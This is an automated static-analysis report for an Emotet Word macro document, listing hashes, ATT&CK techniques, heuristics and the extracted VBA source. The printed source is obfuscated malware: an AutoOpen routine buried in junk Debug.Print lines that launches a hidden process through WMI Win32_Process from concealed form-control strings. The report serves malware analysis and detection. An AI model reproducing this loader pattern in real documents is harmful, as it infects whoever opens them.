Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c4b525a4ffb61823…

MALICIOUS

Office (OLE)

135.1 KB Created: 2019-05-24 06:19:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 8e9bd2c04d420d906f912ad8c2d61788 SHA-1: 75b0c21e01bc2a132f9827297bfd935009a6aaf9 SHA-256: c4b525a4ffb61823a7dec6ea0e121c025a2049fdb681f5f7320e60e6dd16e75f
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample contains a VBA macro with an AutoOpen subroutine, a common technique for Emotet. The macro utilizes CreateObject, indicating it likely attempts to download and execute a second-stage payload. The ClamAV detection explicitly names Emotet, further supporting this classification.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4461 bytes
SHA-256: a0c51951d6e8303c2044ae1a24057f26d41125483dffd0c5fdd2f6f97828897e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "ZZmj98o6, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "qRRYoW, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "zvZSd55, 2, 2, MSForms, ComboBox"
Sub _
autoopen( _
)
   Debug.Print "uS8d5N" + "jSCjCmBi" + "HPjPn0Pi"
Debug.Print ("YSP1V1" + "iN_MCB")
Debug.Print "pN7m1B1u" + ("lop0NaCZ" + "CMLNjz9")
Debug.Print "zNitoLBi"
DzYp8dwE
   Debug.Print "Fsjs3ih" + "jrmlKZFQ" + "mt1aZH"
Debug.Print ("QLMD_p" + "r0DOfujs")
Debug.Print "wSbSju" + ("fpRRHlj" + "hmns90")
Debug.Print "FMZhANH"
End Sub


Attribute VB_Name = "r8dUBdO"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "YLrVYu"

Attribute VB_Name = "kHiZLJh"

Attribute VB_Name = "wBOAI96"

Attribute VB_Name = "AWcpXpK"

Attribute VB_Name = "i4fm8vmC"

Attribute VB_Name = "IjSHr2"

Attribute VB_Name = "kv808KkV"

Attribute VB_Name = "bczrALbR"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "PE8TnI"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "TPcQrA"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "VGpilSBK"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "hFG0ATZ"
Function DzYp8dwE()
nJ5BwC = ThisDocument.qRRYoW + ThisDocument.zvZSd55 + ThisDocument.ZZmj98o6
   Debug.Print "ufQCUli" + "ao4p8J" + "Ybm2U4"
Debug.Print ("IjIVs4X1" + "XrIPn3")
Debug.Print "sDlWJ2rv" + ("hqjnsT" + "VkjoRC")
Debug.Print "k05OwvEn"
FH56Rt = "mts:Win32_Proces"
   Debug.Print "zK8FjkSJ" + "qpuzWQ" + "dspLPuw"
Debug.Print ("fuizcl" + "w_iCnjUj")
Debug.Print "Vab7m2" + ("tBz6NR" + "jZLZWD")
Debug.Print "VQHm8J"
YsPi3FEZ("winmg" + FH56Rt + "s") _
.Create# nJ5BwC, dY0zqHo, Bqc3iD9j, ln6BzM
   Debug.Print "mA5JH3z" + "XSzD52f" + "anlAWfbt"
Debug.Print ("u3ZziuA" + "RC6GSfho")
Debug.Print "McSuCHK" + ("hYtZfN8r" + "NT4zvtz")
Debug.Print "Pf13iGH"
End Function


Attribute VB_Name = "TqYzRX"
Function Bqc3iD9j()
FH56Rt = "mts:Win32_Proces"
   Debug.Print "rBPzSz" + "KH6FUBuh" + "VjmjQbhq"
Debug.Print ("c4mtzKz" + "bb_BCT9")
Debug.Print "ruXjEA" + ("VQwzRnsV" + "ZMRKO1")
Debug.Print "TafkQSOf"
Set Bqc3iD9j = YsPi3FEZ("winmg" + FH56Rt + "sStartup")
   Debug.Print "wNr6iqCd" + "VsikjjPz" + "XEZfHtoX"
Debug.Print ("Wvi17Pj" + "zbNhJZ")
Debug.Print "NpN7EpoO" + ("KwzCqZah" + "hoU8vp")
Debug.Print "MiQFG6X"
With Bqc3iD9j
   Debug.Print "wSwnr6P" + "PzQWdMk" + "YqHF5U"
Debug.Print ("uwbI5l9O" + "XZ69VD")
Debug.Print "zKEKHqo" + ("vZ4ZiDwA" + "PZMSIR8")
Debug.Print "FfVELSVZ"
. _
ShowWindow = miIrC1T3 + F95dmMz + uKj8pZkV + Hp9Rw1 + ZPS0FJ
   Debug.Print "r2U8vKP" + "vZz0wa" + "XuOjDP2A"
Debug.Print ("E13iwF" + "BwzY1WP3")
Debug.Print
... (truncated)